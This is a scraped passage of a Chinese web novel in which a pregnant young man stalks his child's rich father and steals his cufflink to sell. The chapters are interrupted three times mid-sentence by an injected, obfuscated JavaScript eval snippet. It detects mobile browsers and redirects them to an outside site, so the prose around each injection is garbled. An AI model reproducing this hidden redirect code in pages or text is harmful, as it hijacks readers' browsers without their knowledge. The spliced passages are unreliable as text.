光是这么想着,沈茁就打心眼里开心高兴,脸上愁云立刻褪去,满面皆是喜色。 “看上他了?笑得这么开心。” 小天不知什么时候走到了沈茁身后,戏谑的声音贴着脸颊飘进他耳朵里,激得沈茁猛然向身侧瑟缩了一下。 “谢谢你小天,”沈茁转头看着他说,“明天我叫外卖,把剁椒鱼头送到会所,你中午吃好不好?” “那我可就不客气了,”小天抱着胳膊,笑意直达嘴角,“诶呀,其实我真不是为了这顿饭帮你,我实在太讨厌那个猪头了,你那天算是帮我解气了,所以我才……” “我知道,”沈茁笑着说,“但最根本的还是你心善,才愿意帮我做这么危险的事。” “你可真会说话。” 小天被夸得找不着北,临走的时候都是乐呵呵的。 沈茁这次是打着产检的名义出来的,他不想再让孟也因为自己受委屈。 他需要钱,需要很多很多的钱。 来保证他的宝宝以后不过苦日子,保证孟也的生活不再因为他受到影响。 而短时间内他能拿到这么多钱就只有一个办法,找到孩子那个有钱的爹。 下一步该如何沈茁心里还没有打算,跨出这第一步,就已经用了他十足的勇气。 “趁热喝了,”回到家,孟也把煮好的汤药放到沈茁面前,询问道:“检查结果怎么样,宝宝没事吧?” “没事,”沈茁端起药碗心虚地吹了吹,“医生说没什么问题,可能是我情绪太激动导致的暂时性疼痛。” 后面这句完全是沈茁瞎说的,他根本没去医院,哪来的医嘱,只能自己瞎胡诌了。 “没事就好,你说我要去上班你激动个什么劲啊。” 孟也心里有气,嘴就跟机关枪一样,数落沈茁的话都不带重样的。 可这话沈茁却爱听得很,孟也说他说得越凶,他就越开心。 这不是凶,不是骂,是关心,是重视。 被沈茁拖着,孟也火锅店的工作彻底拜拜了,他闲着没事就在家里到处走,像公园老大爷一样在屋子里遛弯。 沈茁进了一大批琉璃在家里穿手串,手工编织的活计他也重新捡了起来,这回他但凡是织东西都会远离床铺,确保不会发生上次那样危险的事情。 手工做累了,沈茁就会就靠在沙发上休息。 每当这时候他都会悄悄点开浏览器,查找林庭安的信息,恨不得把百八十年前的新闻都翻出来看。 沈茁也不光是没有目的地瞎看,他脑子里时时刻刻在想,要以什么样的姿态出现在林庭安面前。 到底要怎样才能顺利让这人认识他,接纳他,愿意帮他? 沈茁想不出个得体的办法,愁得满嘴是泡,一吃东西就疼。 就连晚上做梦,出现的都是那几张写真上,他看了无数遍的脸。 那张脸配上肌肉发达的身材,冷冷地看着他,他的肚子已经很大了,走起路来就像有着孵蛋任务的公企鹅。 顶着大肚子走到林庭安面前,他介绍自己:“林先生,我是男的,但是我怀了你的宝宝,你可以讨厌我,但是别讨厌孩子行吗?” 说完他就哭了,但男人依旧表情严肃,甚至眯起眼睛用审视的目光打量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799722|175071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他。 那样子好像在说:“就你,也配给我生孩子?” 他再次哀求,却被男人抬手掀翻在地。 梦里血流了一地,触目的红让人看了心惊肉跳。 他爬过去将流出的血一点点拢进怀里,黏糊糊的红色沾了满手,他边哭边说:“我的宝宝没了,我的宝宝没了,我再也没有家人了,我再也没有家了。” 接着梦醒了,沈茁抬手去摸,发现自己的眼泪早已浸湿了枕头。 这样的梦做了几次,孟也都发现了他的不对劲。 于是两人又重新睡到了一张床上,孟也是个夜猫子,晚上沈茁只要一开始做噩梦,孟也就会把他叫醒。 这样反复几次,沈茁竟真的没再做过血腥恐怖的梦。 就连他的小生意也变好了,手串和钩织的线上订单渐渐多了起来。 沈茁跟小区驿站的快递员谈了包月,没了高价快递费,赚的钱也更多了。 这天,他又偷偷靠在沙发上,搜索那个梦里将自己推到的男人。 最新的资讯是主流媒体发表的,关于林氏或将与国内最大医疗器械工厂合作的消息。 这是篇很公式化的报道,文案部分每个字都透着“模版”两个字。 唯一吸引沈茁的是文章中间穿插的一张图片,图片里林庭安走在红毯上,正大步向前走着,修长的腿被完美展示出来。 他神色专注目视前方,左手微微抬起,右手覆在左手手腕处,像是在调整袖口。 “看什么呢,这么专注。” 沈茁沉浸其中,完全没注意到有人走过来。 等他回过神,孟也已经抽走了他的手机,疑惑地看着他的手机页面。 “你什么时候对商业新闻感兴趣了?” 孟也上下翻了翻,发现是篇无聊的新闻报道,撇撇嘴把手机还给了沈茁,打开电视,继续看他的搞笑综艺去了。 “我就是不小心点开了。” 沈茁紧张得手心都是虚汗,还好孟也没多想,不然他可是解释不清了。 “图片上那男的倒是人模狗样的,”孟也抽出茶几下的零食用力撕开,随口道:“这些有钱人最会穷讲究了。” 说起这个他莫名想到了冯尽,语气不免重了几分,“吃好的穿好的,还以自我为中心,总之啥事都得他舒服了。” “你就说这人,”孟也压低沈茁的手机,打开那张图,点了点林庭安的手,“他手腕上这袖扣,咱俩打一辈子工都买不起一颗。” 袖扣…… 沈茁沉默着看向男人的手腕,闪光灯下那里确实发着金光。 这男人浑身上下都耀眼,他这才忽视了袖口处小小的闪光。 沈茁紧紧握着手机,脑子里突然有根拧巴在一起的弦崩开了。 他的目的就像想要林庭安的钱,因为他是孩子的爸爸,他有出钱义务。 哪怕他不知道这个孩子的存在,这也是他隐形的责任。 但这钱他非得面对面朝林庭安要吗? 沈茁按灭手机,他瘦削的脸映在黑黑的屏幕上。 不如换条路,有钱人应该不会在意一颗丢失的袖扣吧? 12. 第 12 章 “多吃点菜,妈妈才几天没见你,怎么感觉瘦了这么多。” 饭桌上,唐卿伸手点了点林庭安餐盘旁的桌面,林建群坐在主位看了自己儿子一眼,冷哼道:“你别管他,这小子可真是出息了,两个月没回家,不知道的还以为咱林家没小辈呢。” 每个月至少回家聚餐一次,这是老爷子给他们这个小家定下的规矩。 按说各家有各家的过法,再怎么着老爷子也不会插手小辈的家事。 但前几年因为林庭安性取向这事,父子俩的关系降到了冰点,就连一向疼爱儿子的唐卿也整日郁郁寡欢没了笑脸。 那种精神上由内到外的憔悴,就算再怎么隐藏也还是没能逃过老爷子的眼。 林建群夫妇自然不会真的把自家孩子取向这事说出来,先不说这事是孩子的隐私,就说林庭安是林家唯一的继承人,他喜欢男人这事也万万不能让别人知道。 二人找了个理由搪塞过去,老爷子也没深究,只说一家人没有隔夜仇,以后每个月都得在一个餐桌上聚一聚,父子亲情是上辈子的缘分,万不可淡了。 这个月林庭安忙得不可开交,一时忘了时间,过了月末才想起来回家一趟。 晚了两天,到自家父母嘴里就变成了两个月。 他无奈看了眼正慢条斯理切牛排的唐卿,“妈,您带学生去国外参加科研讲座,已经半个月没回家了,我就是想见也见不着您啊。” “爸,我就晚了两天没回来,怎么到您嘴里就变成两个月了?” 林建群气得胸口发闷,手里的餐具重重砸到桌上,厉声斥道:“别的没什么长进,顶嘴的本事倒是见长。” “行了行了,”唐卿在中间调和,“都少说两句吧,儿子好不容回家一趟。” 说完,她暗中扯了扯林建群的衣角,递给自家老公一个意味深长的眼神。 林建群接收到信号,轻咳一声,看向林庭安,“你顾叔叔家的小儿子今年满20了,改天你俩见一面,接触接触。” 林庭安:…… 他停下吃东西的动作,几乎瞬间就猜到林建群葫芦里卖的什么药。 顾家一共三个孩子,前两个都是女孩,只有一个儿子顾望西。 那小子跟他也算是一起长大的,林庭安七八岁的时候,顾望西刚会走路,两家住得近,顾望西有事没事就跟在他屁股后面,活脱脱一跟屁虫。 后来顾家转战国外市场,举家搬到了罗浪河,做进出口生意,林庭安就再也没见过这小跟屁虫。 倒是前段时间,顾望西出柜的事闹得沸沸扬扬,甚至传到了他的耳朵里。 林建群突然提到这个多年前的老邻居,还能是因为什么? 左不过是因为两人性取向相同。 林庭安不明白的是,他爹口中的“接触接触”到底是怎么个意思,难不成这个老古董还要他们两个大男人去相亲? “哎呀,你要死啦,说也不说清楚一点。” 唐卿嗔了林建群一眼,转头看向自家儿子,放缓语气笑着说:“爸爸妈妈不是不近人情,你说你喜欢男的,我们消化这么久,也没那么抵触了。” “可你今年三月份过完生日都二十七了,也没谈过一次恋爱。” 一说起这个唐卿就发愁,眼神立刻暗淡下来,她拉起林庭安的手,握在自己手里轻轻拍了拍。 “你说不谈女朋友,怎么连男朋友都不谈一个,”说着他瞥了林建群一眼,犹豫片刻,小声说:“儿子,你是不是……是不是有什么情感障碍,还是那方面有什么问题?” 被亲妈质疑生理和心理有问题,林庭安登时一个头两个大,他嘴角抽了抽,长叹口气无奈道:“妈,您能别瞎猜吗?” “我也不想瞎猜,可你就是这么表现的啊。” “顾家的小儿子也喜欢男的,现在还没有男朋友呢,前两天我在京大撞到那小孩了,没想到以前的小豆丁都长这么大了。” “那孩子长得阳光帅气,现在还是学校乐队的主唱,我跟他聊了聊人家还没男朋友呢,这孩子长得好性格也好,跟咱家门当户对,你也不是完全不熟悉。” “说起来你跟他还算是青梅竹马呢!” “我跟你爸商量了一下,你们先接触着,要是处得好咱们两家商量一下你们就去国外领证,孩子的事不着急。” “等个两三年,你们小两口安定下来,一人生一个亲生的,一家四口其乐融融,兴许日子比你正常娶妻生子还要好。” …… 唐卿是京大数学系的教授,在学校遇到顾望西说巧也不巧,林庭安诧异的是他这个不食人间烟火,一心扑在科研上的妈妈,竟然也会有苦口婆心劝他结婚生子的一天。 这一顿饭显然是场鸿门宴,饭桌上唐卿和林建群轮番轰炸,左一个“顾望西”右一个“顾望西”,一副非顾望西不可的样子。 林庭安知道,这二位最终的目的还是那句“一人生一个亲生的”。 什么亲缘啊,传承啊,于他而言不过是人生的附加课题,有最好没有也不耽误什么。 林家家大业大,旁□□么多,以后不愁没人接手庞大的家业。 上学的时候林庭安最不缺的就是追求者,追他的女孩能绕学校几圈还富裕。 其中不乏家世样样貌都好的,但没感觉就是没感觉,他是个纯gay又不是双,完成不了父母嘴里“生个亲生孩子”的任务。 耐不住二老态度强硬,临走时林庭安还是应下,过几天跟顾望西见一面,就当是叙旧了。 离开之后他没着急回家,而是先回公司取没看完的文件。 刚好赶上下班时间,商业街乌压压全是人,这时候开车回家还没骑自行车快。 林庭安顿时心烦气躁,干脆找了个安静的咖啡馆坐下,等人潮散去再开车回家。 点的是常喝的黑咖啡,电脑甫一打开,一连串消息就弹了出来。 依次点开,全部是那天晚上的监控画面。 林庭安喝了口咖啡,仔仔细细将照片看了一遍,一张两张三张……要么是糊的,要么不是正脸。 【林总,那天的小男孩是突然出现的,原本在那个时间段不是他值班,经理说他也不知道那天突然出现的是谁。】 【所有监控我都查过了,仅靠会所内的监控辨认不清人脸,现在只能按照他那晚离开会所后的行动路线一点点查,找到他的住所。】 【这个工程量比较大,请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799723|175071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林总再给我点时间。】 一目十行读完所有消息,林庭安扣上电脑,仔细回想那晚的情形。 那天屋子里黑得吓人,那段记忆的视觉部分是空白的,能回忆起的只有红酒味还有那人身上淡淡的洗涤剂味道。 或许是洋甘菊味,又好像是薰衣草,不论是什么味,如今回想起来都带着波涛汹涌的火热。 喉结不受控地滚动,林庭安在心里暗骂,啥滋味都不记得也就算了,现在连人都找不到,这事可真够操蛋的。 蓦地,突然感到身后有道视线在盯着自己,他猛然回头,却什么也没看到。 这几天林庭安总觉得有道目光在暗处窥视自己,那视线的攻击性并不强,就像羸弱的小兽躲在树后偷窥凶猛的野狼。 倒是没什么危险,就是勾得他心痒痒。 完了完了,不会被发现了吧! 不远处沈茁压低帽檐,捂着胸口背对林庭安坐在离他最远的位置。 桌子上放着杯鲜榨果汁,他端起来猛喝一口,才强压住狂跳的心脏。 过了几分钟,沈茁才镇定下来,他悄悄侧了侧身,确认身后的男人没注意到自己才放下心来。 而后他拿出手机打开了备忘录,里面是他记录的林庭安最近几日的行程。 文字加上照片,稍微梳理一下就能整理出这个男人大概的行动路线。 从高档公寓到公司,偶尔出去应酬聚餐,有时候会去射击,或者去马场骑马。 沈茁看着备忘录里的照片,一时有些出神。 他悄悄摸了摸自己的肚子,宝宝的爸爸是个很优秀的人,他有事业心会经常加班,累了也会好好放松自己。 他会很多很多自己不会的东西,那些自己永远接触不到的,是他习以为常的。 用这种偷窥的方式去了解一个人,确实很诡异,也很不可取,却是他现在唯一能做的。 宝宝,你会怪爸爸吗? 因为想要一个家人所以把你带到这个世界上,又因为害怕你被抢走,让你不能跟亲生父亲相认。 或许等你出生等你慢慢长大,这一辈子都不会知道,你还有个这么完美的爸爸。 片刻失神,待思绪回笼,沈茁看到林庭安已经推开门走了出去。 那一瞬间他大脑突然宕机,身体先一步做出了反应,等反应过来,整个人已经冲了出去。 林庭安正在路上走着,突然一个人撞了过来,他低头去看,只看到了一个瘦小的矮个子。 矮个子头上是黑色的棒球帽,帽檐遮住了半张脸,另外半张脸则全被挡在了口罩下。 “对不起,对不起,不小心撞到您了。” 沈茁的身体贴着林庭安的手臂,微微弓着腰低头去看男人的手腕。 二人错开的那一秒,他看到林庭安穿着深黑色的休闲西装,比他粗了一倍的手臂下是一块绿色的表盘。 刚刚亮起的路灯经由翠绿的表盘反射,贵气的亮光照进他的眼睛里。 “没关系。”男人冷冷道。 沈茁呆在原地,愣愣地看着男人消失不见的影子。 宝宝,你爹今天没戴袖扣…… 那么大一块手表,他也扣不下来呀。 13. 第 13 章 沈茁很郁闷,回到家小臂处仿佛还残留着些许余温,他用力揉搓手臂,心情过山车一样忽上忽下。 宝宝已经两个多月了,可他攒的钱还远负担不起养育一个小婴儿的费用。 期间孟也安慰他,实在不行就把这套房卖了,两人去小县城过一辈子,生活开销比在京都小不少。 乍一听是个好主意,可这房到底不是他的,沈茁不想孟也为他做到这个地步。 姥爷还在郊区埋着,他心里也还是希望姥爷葬在皇城根下。 这个小老头过了一辈子苦日子,唯一值得庆幸的是死得不痛苦,躺在炕上咽了气。 小老头还活着的时候,嘴里总絮絮叨叨说总有一天要出去走走,离开那个小村子,去看看主席像,看看天安门的城墙有多红。 “我那个战友十二岁就当了兵,那时候咱们用的还是土枪,他就躲在树后面,看见鬼子来就放一枪,然后撒腿就跑。” “现在想想能活下来全靠他跑得快,他是前些年脑血栓死的,年轻的时候我俩总说,得去看看升国旗。” 这个故事姥爷每隔一段时间就会给沈茁讲一遍,他每次都耐心听着,老人年纪大了细节记不清,每次讲的都跟上一次有出入。 沈茁就在心里记着,这回战友参军的年龄变成了十岁,他那个素未谋面的爷爷到底是什么时候参军的呢? 正因此,沈茁希望姥爷可以长眠在这里,活着未能如愿,死后他总该成全小老头的心愿。 不想搬去小县城还有一个原因,沈茁戳戳自己还平坦的肚子,他不想宝宝跟自己一样出生在穷苦的地方。 穿洗到发白的尿布也能活,但他希望宝宝穿柔软亲肤的纸尿裤长大。 光着脚在泥里疯跑也是玩,但他希望宝宝去游乐场、科技馆、动物园感受世界。 用了很久刻满字的木桌椅也能坐着学习,但他希望宝宝坐在宽敞的桌椅上汲取知识。 为人父母或许就是这样,总希望给自己的孩子最好的。 于沈茁来说最痛苦的,是心有余而力不足。 这几日孟也那个前男友好像又来骚扰他了,好几次沈茁撞到孟也半夜偷偷出门,回来时不是嘴唇破了就是脖子红了。 观察下来沈茁也觉出了味,孟也心里还放不下那个前男友,他自己就算再不愿意,也无法插手孟也的感情。 这么说这房子更加不能卖,离开京都孟也跟他的前男友就再也没有复合的可能了。 想了一圈,事情又兜兜转转回到了原处。 沈茁打开手机,百无聊赖开始搜索乱七八糟的问题: 【男人会生孩子吗?】 【手表怎么快速取下来】 【有钱人的一颗袖扣多少钱】 【袖扣在哪回收】 【怎么带孩子认爹】 …… 正搜索着,后台突然弹出了一条消息。 小杨要暴富:【老板,请问可以给我的cp设计一条手链吗?要红蓝配色的,价格好商量!】 后面紧跟着弹出了几张图片,都是cp相关的介绍和设定。 为了“跟踪”孩子爹,沈茁两个礼拜前就把手里的单子都清了,账上也将近半个月没怎么进钱,他没犹豫立刻接下了这一单。 因为没什么高端的进货渠道,所以沈茁很清楚自己的定位,主打的是设计,而不是高级料材。 因此一条链子算下来,大头都在人工设计费上。 报了个不算高的价格,对面的客妹很爽快下了单。 沈茁也收心开始专注设计珠子的排版,每一个链条和配件的摆放,都要符合cp的设定。 一番操作下来不知死了多少脑细胞,等全部做完已经是第二天了。 跟客妹确认好款式,沈茁一刻也不想耽搁,穿好衣服打算下楼寄快递。 出门前他盯着衣柜犹豫了一会,还是打开左半扇门,抽出里面的鸭舌帽和口罩。 得再试试,还得再试试。 * “林总,已经跟荆源的老总确定好时间了,今晚七点保马苑,对面定的位置,司机已经在楼下了。” “好,我一会下去。” “好的,林总。” 保马苑是南边最有名的私房餐厅,说是餐厅却更像个大观园,里面不仅可以吃饭还可以品茶听曲。 荆源的老总秦圳来头也不小,祖上就富得流油,保马苑就是他名下的产业。 “保马苑”这三个字也不是瞎取的,秦家老爷子崇荆公政术,尚其变法之智慧,亲笔提的牌匾,沿用到现在已经几十年的光景。 林庭安到达目的地的时候天已经黑了,保马苑的灯从门口一路亮到最里面,映着整个园子好似还处在白日。 早有专门的人等在入口,林庭安跟着人畅通无阻来到了一处偏僻的厢房。 正中间是茶楼,可品茶听戏,左右两侧各十几间厢房专供客人品尝私家美食,这是保马苑从未变过的布局。 林庭安进去时,里面已经坐了三个人。 主位上正是他此次要见面的对象秦圳,秦圳的左侧坐着两个男人,一个看起来很年轻二十四五的样子,另一位正当壮年看起来约莫四十出头。 “来了?”秦圳没起身,大手一挥指着右边的空位说:“林老弟你坐这,今儿我多带了两个人来,你不会介意吧?” 说好了是两个人小聚顺便谈谈生意,如今却多出两个人,那两个人林庭安还恰巧都认识。 一个是双方都恨对方恨得牙痒痒的岑复春,一个则是方汉明。 这两人前两天刚勾搭到一起,今天就堂而皇之出现在了他的私人饭局,简直是没把他放在眼里。 “当然不会。”林庭安笑着说。 他走到秦圳指的位置坐下,未达眼底的笑意让本就乌黑的眸子更加深沉。 见约好的人都落了座,秦圳大手一拍,身穿旗袍的美女服务员闻声依次端着色香味俱全的菜品走了进来。 上好菜厢房门被轻轻关上,房内仅剩桌上的四人,秦圳才再次开口:“几位,你们也知道我这人做生意最讨厌弯弯绕绕,荆源这次的新设备是两年前就开始研究的。” “到今天才算是有了点起色,”说着秦圳端起面前的金瓜壶,给自己到了杯茶,小酌一口后叹息道:“这批设备可是耗费了荆源不少心血。” “本来这合同是要跟林老弟签 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799724|175071||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,可惜半路杀了个方汉明出来,方哥在我爸那都说得上话,我一个小辈自然不敢怠慢了。” 秦圳这话一出来,桌上的气氛瞬间变了。 林庭安听他这么说,就知道今天岑复春能上桌全靠方汉明的面子,心里也多了几分底气。 平时只听传言说秦圳这人是商界另类,说话直来直去也不怕得罪人,如今短短几句话他也算见识到了。 方汉明活了四十多年什么人没见过,哪怕是秦圳这么拂他的面子,他依旧笑容满面,一副波澜不惊的样子。 倒是他身边的岑复春变了脸色,嘴唇动了动,刚想说话就被方汉明按了下来。 “小秦,我记得上次见你好像还是几年前,那时候你跟着你爸做生意被人坑了一笔,还是叔叔帮你填的窟窿。” 方汉明这话看似叙旧,却明里暗里强调自己长辈的身份,噎得秦圳说不出话。 “方总您这话说的,做生意谁没被坑过呢,”林庭安及时开口,替秦圳解围,“所谓后生可畏,秦总现在的能力可是不容小觑。” 闻言,方汉明笑了笑没说话。 这一顿饭几人吃得都不开心,从进门看到除秦圳之外的人的那一刻,林庭安就知道这顿饭只能是顿饭。 他很快就调整好了心态,期间边观察桌上的人,边品茶尝菜,竟多了几番快活的滋味。 全程岑复春就没说几句话,像条阴狠的毒蛇,暗中窥视不轻易发出声响,指不定什么时候就会突然出击咬住猎物的喉咙。 这是林庭安第一次正面跟岑复春对上,就算有秦圳和方汉明在中间调和,他也能觉出这人心思之深沉。 方汉明和岑复春走后,秦圳叫住了正往外走的林庭安。 他擦开打火机点了根烟,骂道:“操,这顿饭吃得可真够憋屈的。” “林老弟我跟你兜个底,”秦圳看着林庭安,吐出一口烟圈,“方汉明跟我爸是多年老友,这批器材本来是要签给你的,他突然插进来我也很难办。” “我懂,”林庭安点点头,严肃道:“可是秦总,你应该知道这批设备只有到我这才能发挥最大的价值。” 闻言秦圳沉默了,指尖的香烟慢慢燃尽,灰白色的烟雾挡住了他浅蓝色的眼睛。 林庭安这话不假,新设备意味着新技术,新技术就要在专业的医务人员手里才能发挥最大的价值,林家有这个优势。 岑复春要这些设备是打着建设乡村医疗基地的名号,连医务人员都没招齐,他怎么放心把东西给姓岑的。 的确,对于他这个供应商来说,只要价格到位给谁不行,但他秦圳不是那种没有责任心的人。 物尽其用,这个道理他还是懂的。 “我再考虑考虑,”秦圳说,“你别着急,等我再联系吧。” “好,那秦总我就先走了。” 出了门林庭安站在保马苑的牌子下抽烟,他看着周围黑漆漆的竹林突然笑了。 秦圳这人重义气讲感情,使用怀柔政策最好拿捏。 生意怎么谈,全看对面是什么样的人,喜欢钱的砸钱就好,好色的就对症下药塞几个美人。 林庭安经商多年,这些道理还是懂的。 14. 第 14 章 车子停在竹林后面的停车场,保马苑的人很贴心,将他的车子停在了1-1的位置。 林庭安穿过竹林,刚看到车灯,就迎面撞上来了一个人。 那人像是在百米冲刺一样,嗖一下窜过来,林庭安来不及反应,将人抱了个满怀。 “对不起,对不起。” 怀里的人搂住他的腰,嘴里说着抱歉的话,却没有一点要撒手的意思。 林庭安眼中闪过一丝不耐,冷声道:“松开。” 男人的声音很冰冷,每个字都带着寒气,语气像在驱逐一个不怀好意的小偷。 沈茁的心跳得更快了,他要做的事本就不光彩,现如今被人这么一吼,心中顿时起了退意。 怎么能不怕呢,他虽然穷但从未偷过抢过,现在是实在没办法只能出此下策。 要钱不是为了别人,是为了孩子,孩子又不是他一个人,林庭安也有分啊。 就这一次,他只管孩子爹要这一次抚养费,拿到钱他就再也不会出现在林庭安面前。 这一切都是为了孩子,为了孩子。 这么想着,沈茁恢复了最开始的勇气,他一只手紧抱住林庭安的腰,另一只手抓住他的手腕,精准摸到了一颗圆滚滚的扣子后,学着网上的方法快速取了下来。 保马苑的竹子是关岐岛空运过来的,种植多年不仅保留了原有的清香,也适应了京都的环境,此时正是长得好的时候。 这种竹子不喜人造光,故而这条路只挂了几个幽幽的煤油灯,一路看过去浅黄中透着绿光,活像阴曹地府的黄泉路。 林庭安今晚的心情不能说不好,只能说是非常糟糕,生意没谈成,岑复春那条毒蛇还找上门来,在他面前耀武扬威。 好不容易结束了一场鸿门宴,还没上车就被一团黑影给抱住了。 一股无名火猛地窜上来,林庭安深吸一口气,揪住沈茁的衣领,用力把人拎了起来。 冰冰凉的袖扣攥到手里,沈茁刚想起身就感觉脖子一紧,随即便双脚悬空,大脑一阵天旋地转。 “先生,我……我不是坏人,我不是故意的。” 天气炎热沈茁又不想太显眼,于是套了件深黑色的防晒服套在白背心外面,鸭舌帽和宽大的口罩中间只留了一条缝,露出了他狭长的眼睛。 林庭安的手劲很大,劣质防晒服在他手下没撑过一秒就崩掉了扣子。 只听哗啦一声,衣服被撕了个大口子,裂痕从肩膀处开始,露出了沈茁雪白的锁骨。 林庭安松开手,不等沈茁反应过来,又立刻抓住他的脖子,恶狠狠地说:“我不管你是谁,有什么目的,别再招惹我。” “不会了,”沈茁像是搁浅的鱼,呼吸困难,濒死感让他紧紧抓住林庭安的手腕,“先生,我……我真的不是故意的。” 沈茁的眼睛很亮,幽暗中仿若黑夜的一颗星,看得林庭安微微出神。 直到温热的液体滴在手上,他才发觉手下的人哭了。 林庭安松开手,摸了摸衣兜里的东西,确认没有丢失开口道:“滚吧。” 重新呼吸到新鲜的空气,沈茁大口呼吸着,双腿因受惊止不住发软,他像抓住救命稻草一样大口呼吸。 兴许是怀了宝宝的缘故,被林庭安掐住脖子的时候,沈茁的心竟莫名有些发疼。 他跟林庭安没什么感情,说起来顶多算是一晚上的缘分,他怎么会心疼呢? 是宝宝不开心了吗? 宝宝,你爹不是不喜欢你,他还不认识你呢。 另一边,林庭安一肚子火气,走到停车场刚要打开车门,脑子突然一闪而过刚刚那人头上的黑帽子。 他总觉得那帽子很眼熟,拉门的手犹豫了几秒,就轻轻松开车门,转身融入了黑暗里。 沈茁还待在原地,在心里默默跟宝宝说话。 告诉宝宝不要生气,不要不开心,爸爸和爹爹都希望你出现在这个世界上,我们都爱你,都喜欢你。 自从看了孕妇因为情绪激动流产的新闻,沈茁就经常这么跟宝宝说话。 那么多活生生的例子都表明如果孕妇不被另一半关爱,孩子就会不愿意出生,不愿意来到这个家,所以沈茁得让宝宝知道,他是被爱的,这样宝宝才会愿意来到他身边。 正赛博哄孩子哄得起劲,突然头顶一凉,沈茁呆愣几秒,立刻转身向后看去,刚巧对上了林庭安漆黑的眸子。 还没等他做出反应,男人就一把扯掉了他的口罩。 林庭安的眼神先落在了沈茁的眼睛,然后慢慢下移,到鼻梁、鼻尖,再到嘴唇,最后又回到了那双怯懦的眼睛上。 是张很单薄的脸,干瘪的脸颊下是干燥的嘴唇,眼睛还算好看但也称不上惊艳,鼻子倒是不塌。 林庭安眼中是毫不遮掩的审视,这让沈茁感到很不舒服,他瞪大眼睛看回去,刚想发火面前的人就重新把帽子扣到了自己头上。 “抱歉,我认错人了,”林庭安放下心来,耐心问道:“刚刚弄疼你了?” “没有,没事。” 沈茁从男人手里抽回自己的口罩,迅速戴上,没说多余的话,小跑着走出了林庭安的视线。 黑夜里,绿油油的暗光下,林庭安摸了摸自己的鼻子。 一张陌生的脸,为什么会让他有种熟悉的感觉? 沈茁一心只想赶快离开,盲目地跑着,直到体力不支才停下。 胸腔像被一双大手紧紧攥着般酸疼,他蹲下身,胃里翻一阵江倒海,恶心感迫使他连续干呕,恨不得把胆汁都吐出来。 宝宝,你爹可真讨厌。 沈茁在心里吐槽,你爹只有脸和身材是好的,性格却坏得很,你可千万不要学他。 “要喝水吗?” 头顶传来一道男声,紧接着一双手缓缓出现在眼前,沈茁看到一双精致到好似艺术品的手,递来了一瓶矿泉水。 “谢谢。”他接过水,猛喝了几口,嘴里的怪味终于冲淡了几分。 “我姓岑,名复春,你可以叫我又春,身边的朋友都这么叫我。” 说完,岑复春伸出手在沈茁面前晃了晃,“石板地寒性大,对身体不好。” “谢……谢谢。” 沈茁不好意思拒绝,拉着岑复春的手站了起来,站稳后就立刻缩回了手。 “我送你回家?” “不用了,”沈茁想也没想回绝道:“我自己回去就好,不麻烦您了。” 人生地不熟的地方,一个陌生人突然说要送自己回家,怎么想都不正常。 “也对,咱们才刚认识了两分钟,说 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孟也急得在客厅直转圈,见人回来立刻冲上去,左看看右看看。 “我的祖宗,你可真是我的祖宗,你跑哪去了,这么晚才回来?” “你可真是要吓死我!” “我没事,就是出去遛遛弯,”沈茁讪笑道:“晚上吃多了,肚子涨得很。” “不是说了只能在楼下遛弯,”孟也一眼识破沈茁的借口,“你跑哪遛弯去了?跑五环外去了?” “哎呀,孟哥你别管了,”沈茁抓着他的胳膊撒娇,“我就不能有点私人空间嘛。” “我没给你私人空间?!” 孟也提高音量,嗓音尖锐,一副被辜负的样子,弯腰戳了下沈茁的肚子,“小崽子,你爸可真没良心,你可不能学你爸,以后不能跟干爹顶嘴,知道吗?” “知道啦干爹,”沈茁模仿宝宝的声音,哄着孟也说:“窝以后一定孝顺您。” “这还差不多。”孟也心满意足道。 叮嘱沈茁喝完安胎的中药,孟也才把人放回卧室。 自从不再做噩梦,沈茁就搬出了主卧,他回到客房,换上干净的睡衣。 这才有时间坐下来,观察裤兜里那枚闪闪发光的袖扣。 那是枚椭圆形的袖扣,深蓝色的宝石占了三分之二的面积,剩下的三分之一是用碎钻拼成的三个字母“LTA”,字母旁是一个沈茁看不懂的印记。 底板用的是纯金材料,衬得整枚袖扣珠光宝气,金黄的颜色配上不俗的钻石,是很别出心裁的设计。 看着这枚袖扣,沈茁就好像看到了林庭安这个人,财富是他的底蕴,他自身的优秀才是真正的闪光之处。 除了性格不好,沈茁在心里补充,那么好的人怎么会那么凶呢? 这个问题他想不出答案,也无心深思,现下最要紧的是怎么把这东西给卖出去。 沈茁左思右想,怎么也想不出一个合适的售卖渠道。 最后他心一横,给袖扣拍了个六维图,用小号发到了社交媒体上。 配文:【寻有缘人估价】 15. 第 15 章 【不是吧,我是不是眼瞎了,这是你的吗?】 【图片.jpg】 